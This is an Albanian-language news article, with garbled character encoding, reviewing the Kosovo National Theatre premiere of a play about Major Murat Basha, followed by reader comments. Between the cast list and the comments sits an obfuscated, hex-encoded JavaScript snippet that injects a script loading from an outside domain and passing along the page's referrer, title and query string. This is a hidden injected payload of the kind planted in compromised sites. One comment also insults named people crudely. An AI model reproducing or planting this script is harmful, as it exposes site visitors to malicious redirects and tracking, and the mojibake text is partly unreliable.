f1_majorrr-jpg1352365221

a�?NjA� varr pA�r Majorin e Mbretita�? humb nA� detaje

Genti, djali i Majorit tA� mbretit Ahmet Zogu, i mban njA� vit e gjysmA� eshtrat e tA� atit nA� njA� valixhe. PA�r Murat BashA�n, tA� cilin komunizmi nA� krye me Enver HoxhA�n e ekzekutoi, nuk mund tA� gjejA� njA� varr.A�

Premiera e shfaqjes qA� pA�rthekon kA�tA� histori, bazuar nA� ngjarje tA� vA�rtetA�, A�shtA� dhA�nA� mbrA�mjen e sA� martA�s nA� Teatrin KombA�tar tA� KosovA�s. Haqif Mulliqi A�shtA� dramaturg dhe regjisor i saj. a�?NjA� varr pA�r Majorin e Mbretita�? ka tubuar njA� kastA�A� aktorA�sh qA� kryesisht vijnA� nga trupa me tA� cilA�t TKK-ja ka kontratA�. Shfaqja A�shtA� pA�rcjellA� nga njA� skenografi e thjeshtA�, qA� i ndA�rrohen vetA�m prapavijat, teksa aktorA�t lA�vizin me valixhe qA� herA� pA�rdoren si tavolina e herA� si varre.

Muzika me pak nota e kompozuar enkas pA�r kA�tA� shfaqje nga Fatos Qerimi pA�rsA�ritet shpesh. Shfaqja nuk ka arritur tA� mbushte tA� gjitha ulA�set e TKK-sA� nA� premierA�, ani pse nA� premiere kishte ardhur ministri i KulturA�s, Memli Krasniqi, me kabinetin e tij, ku regjisori Mulliqi kishte qenA� kA�shilltar deri nA� fund tA� vitit tA� kaluar. E kritika nuk ka pasur fort fjalA� tA� mira pA�r shfaqjen e tij, shkruan sot a�?Koha Ditorea�?.

Aktori Blerim Gjoci luan rolin e Majorit dhe tA� Gentit tA� vjetA�r. Si i diplomuar nA� AkademinA� Ushtarake nA� VjenA�, Majori do tA� ftohej nga Zogu pA�r tA� shA�rbyer nA� mbretA�rinA� e tij. Kur muhabeti pA�r luftA� tA� pA�rbashkA�t pA�r A�lirim do tA� prishej pasi komunistA�t do tA� kA�rkonin qA� tA� pA�rdorej simboli i yllit tA� kuq, zogistA�t do tA� duheshin tA� internoheshin. Me garanci nga prefekti i TiranA�s tA� asaj kohe, Murat Basha do tA� kthehej nA� ShqipA�ri, nga Gostivari. Por do tA� tradhtohej nga komunistA�t, teksa do tA� gjykohej pA�r tradhti dhe bindje liberale. Para se tA� ekzekutohej pA�r Gentin kishte njA� amanet: tA� mos i humbej varri. Kryerja e amanetit nA� mA�nyrA� tA� dinjitetshme do tA� ishte preokupimi i Gentit, qA� po ashtu e kishte ndihmuar tA� atin nA� luftA�. Tri pushtete janA� pA�rthekuar nA� rrA�fimin e shfaqjes. Ajo qA� nis me monarkinA� e Zogut zhvillohet pA�r tA�rA� tmerrin e dekadave tA� komunizmit, e pA�rfundon me a�?demokracinA�a�?, e cila me njerA�z tA� ish-regjimit synon tA� dekorojA� ata qA� ranA� viktima tA� diktaturA�s.

Gjoci ka thA�nA� se roli i major Murat BashA�s nA� shfaqje i ka shkaktuar atij njA� ngarkesA� tA� dyfishA�, pA�r faktin se A�shtA� bA�rA� fjalA� pA�r njA� figurA� historike qA� ka ekzistuar, e nA� tA� njA�jtA�n kohA� familja e tij ka qenA� e pranishme nA� publik.

a�?Kjo e ka shtuar pA�r mua barrA�n e pA�rgjegjA�sisA� dhe ka bA�rA� qA� unA� mA� shumA� tA� pA�rqendrohem nA� atA� sesi e paraqes kA�tA� figurA� historike, derisa nA� raste tA� tjera do tA� pA�rqendrohesha nA� detajea�?, ka thA�nA� Gjoci, teksa ka shpjeguar se ka pA�rjetuar njA� emocion tA� veA�antA�. Atij i A�shtA� ofruar nipi i gjeneralit, Murat Basha, pA�r ta��i thA�nA� se gjyshin e tij nuk e ka njohur, por se dA�shiron ta pA�rqafojA� atA� a�?qA� ia ngjallia�?.

VetA� regjisori e dramaturg Haqif Mulliqi thotA� se ka qenA� skeptik para se tA� niste tA� punonte pA�r kA�tA� shfaqje. a�?Kur je jashtA�, skepticizmi ndodh pA�r shkakun se kam punuar me ansambA�l. Por kam punuar me njA� ansambA�l tA� madh, jashtA�zakonisht tA� kompozuar dhe tA� disiplinuar, prandaj mendoj se ky teatA�r e vazhdon traditA�n pA�r tA� qenA� njA� teatA�r i madh dhe unA� besoj qA� sukseset nuk do tA� mungojnA�a�?, ka thA�nA� Mulliqi. Ish-kA�shilltari i ministrit tA� KulturA�s ka thA�nA� se nuk mund ta cilA�sojA� a�?NjA� varr…a�? shfaqjen mA� tA� mirA� tA� tij qA� ka bA�rA� ndonjA�herA�.

a�?Por jam vA�rtet shumA� i kA�naqur qA� e kam bA�rA�. Ajo duhet tA� konfirmohet edhe nA� ndonjA� kompeticiona�?, ka thA�nA� Mulliqi.

MA� 20 nA�ntor shfaqja do tA� jepet nA� TiranA�, nA� kuadA�r tA� Festivalit NdA�rkombA�tar pA�r TeatA�r, ndA�rsa njA� ditA� mA� vonA� A�shtA� paraparA� qA� tA� udhA�tojA� pA�r nA� VlorA�, pA�r tri repriza atje, nA� kuadA�r tA� shA�nimit tA� 100-vjetorit tA� PavarA�sisA�.

Drejtori artistik, Emin Emini, ka thA�nA� se nuk mund tA� pretendohet se me kA�tA� shfaqje TKK-ja ka gjetur tipin ideal tA� njA� shfaqjeje, sepse ai ka bindjen se teatri A�shtA� gjithmonA� nA� kA�rkim tA� artistikes dhe estetikA�s. a�?Por besoj qA� me kA�tA� kemi arritur njA� shfaqje me vlera tA� larta artistike dhe estetikea�?, ka thA�nA� Emini.

Por kritika nuk ka kA�tA� bindje. Dramaturgu Jeton Neziraj thotA� se shfaqja ishte e mA�rzitshme.

a�?Kishte disa skena tA� realizuara mirA�, megjithatA� shumica e skenave tA� tjera ishin tA� pakryera ose tA� realizuara nA� mA�nyrA� sipA�rfaqA�sore dhe pa sens. Por, para sA� gjithash, problemi A�shtA� qA� ajo shfaqje A�shtA� ngritur mbi njA� dramA� problematike. Drama niset nga njA� histori interesante, por qA� humbet nA� data, nA� emra qA� s’thonA� asgjA� e nA� detaje tA� tjera tA� parA�ndA�sishmea�?, ka thA�nA� Neziraj. a�?GjithA�ka zvarritet deri nA� monotoni. Dhe, krejt kA�saj nA�se i shtohet edhe loja e dobA�t e ansamblit tA� aktorA�ve, atA�herA� besoj qA� kalohet masa e diA�kaje qA� nA� teatA�r mund tA� quhet a�?korrektea��a�?, ka shtuar ai.

Aktori Mehmet Breznica ka pA�rshtypjen se nA� TKK ende nuk po realizohet njA� shfaqje e vA�rtetA�. PA�r shfaqjen e Mulliqit ka thA�nA� se ia ka kujtuar zhvillimet e amatorizmit tA� vitit 1972.

a�?Ky mund tA� ishte njA� tregim, por asnjA� element dramaturgjik nuk A�shtA� shtruar apo nuk A�shtA� ditur tA� shtrohet. Kishte premisa tA� jetA� mA� tepA�r tregim, plotA�sisht narrativ e jo me pA�rmbajtjen e njA� drame A�farA� duhet tA� jetA�a�?, ka thA�nA� Breznica. Ai thotA� se shfaqja ka synuar tA� pA�rsA�ritA� disa skena nga a�?Gjenerali i ushtrisA� sA� vdekura�?, por tA� vA�na nA� njA� rrafsh tjetA�r. a�?Nuk mA� pA�lqeu as forma e gjuhA�s se si A�shtA� shtruar nga disa aktorA�. PA�rpjekja e tyre ishte maksimale, por teksti nuk jepte mundA�si mA� tA� mA�dha dhe regjia gjithashtu nuk ka dhA�nA� mundA�si qA� tA� krijohet ndonjA� rol i bukura�?, ka thA�nA� Breznica. a�?A�shtA� njA� mA�kat i madh qA� disa regjisorA� qA� thirren nA� emA�r tA� regjisA�, i lexojnA� dy libra dhe tA� tretin e shkruajnA� vetA�. Kjo A�shtA� tragjedia jonA�a�?, ka shtuar ai.

Por regjisori Agron GA�rguri ka gjetur anA�t pozitive tA� shfaqjes. Ai ka thA�nA� se shfaqja A�shtA� punuar me njA� mA�nyrA� tA� veA�antA�, njA� kombinim i gjuhA�s sA� shenjave, me tA� cilA�n ka manipuluar mirA� regjisori.

a�?TA�rA� kohA�n mA� vinte fantazma e babait tA� Hamletit. Shfaqja nuk e ka nA� plan tA� parA� dinamikA�n vizuale, por e ka njA� dinamikA� tA� brendshme nA�se futesh nA� shfaqje. E kishte njA� lA�vizje, sepse shpesh ndodh qA� nA� Teatrin KombA�tar tA� flemA� gjatA� shfaqjesa�?, ka thA�nA� GA�rguri. Sipas tij, ani pse nA� shfaqje mund tA� shihen defekte tA� saktA�sisA� sA� datave, ajo estetikisht ishte e ndA�rtuar bukur. a�?Besoj se shfaqja do tA� ndA�rtohet edhe me reprizat tjera dhe do tA� marrA� spontanitetin e duhur. Sigurisht ngA�rA�i i premierA�s bA�n qA� nganjA�herA� edhe tA� ketA� probleme tA� humbjes sA� ritmita�?, ka thA�nA� GA�rguri.

VeA� Gjocit, nA� shfaqje luajnA� edhe aktorA�t:, Mentor Zymberaj, Sunaj RaA�a, SkA�nder Tafaj, Ismet Azemi, ShpA�tim Kastrati, Basri Lushtaku, ShkA�lzen Veseli, Lumnie Sopi, A�amA�ri Ceraja, Ramadan Malaj, Valina MuA�olli, Naser Shatrolli, Shkumbin Osmani e Vigan Nuza.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

  • Natika

    O tmerr i tmerrit Haqifi me bo regji, e me “keshillu” e me shkru, e cudi qe vet nuk ka lujt…uuuh po nime e ka bythelipersin aty, Blerim Gjocin qe nuk eshte as aktor, as producent, por vetem e vetem bythelepires…e te gjithe keta njeri tjetrin e lavderojne, qojne ne qiell, e e glorifikojne…ooooo ne kend ka mbet me cu artin perpara!!! ty qe e ke shkru kritiken hallall se nuk te paskan shti ne loje hala:)))

  • Pasho Maksuti

    Nuk e kam pare shfaqjen por njoh dramen reale te majorit Murat Basha, historine e familjes se tij. Nuk mund te flas per skenarin apo vleren artistike te shfaqjes, por mund te flas per mesazhin qe na sjell. Me kete drame identifikohemi ne njefare forme qe te gjithe gjeneratat. Ata te luftes se dyte boterore, por edhe te lufterave me te fundit ne Kosove e Maqedoni. Une vij nga Maqedonia dhe identifikohem me kete ngjarje pasi gjyshi im si nacionalist nuk pati “fatin” as per nje varr ndersa ne arritem te identifikojme fotografine e tij pas 65 vjetesh. Ne Kosove kemi rastet e mijera vellezerve e motrave qe nuk paten “fatin” te kene nje varr. Por, per keta te fundit fajesohet pushtuesi, ndersa per rastin e majorit fajesohet nje pushtet i ngritur nga shqiptaret kunder shqiptareve me ne krye Enver Hoxhen. Dhe me sa duket te rrefesh realitetin enverian, per disa (ndoshta qe edhe nuk e kane njohur ate sistem) eshte ende e papranueshme dhe nuk gjejne asgje pozitive te nje shfaqje e tille. Une e mbeshtes venien ne skene te nje shfaqje te tille, per mesazhin qe iu jep gjeneratave qe vijne dhe qe duhet te rishkruajne historine.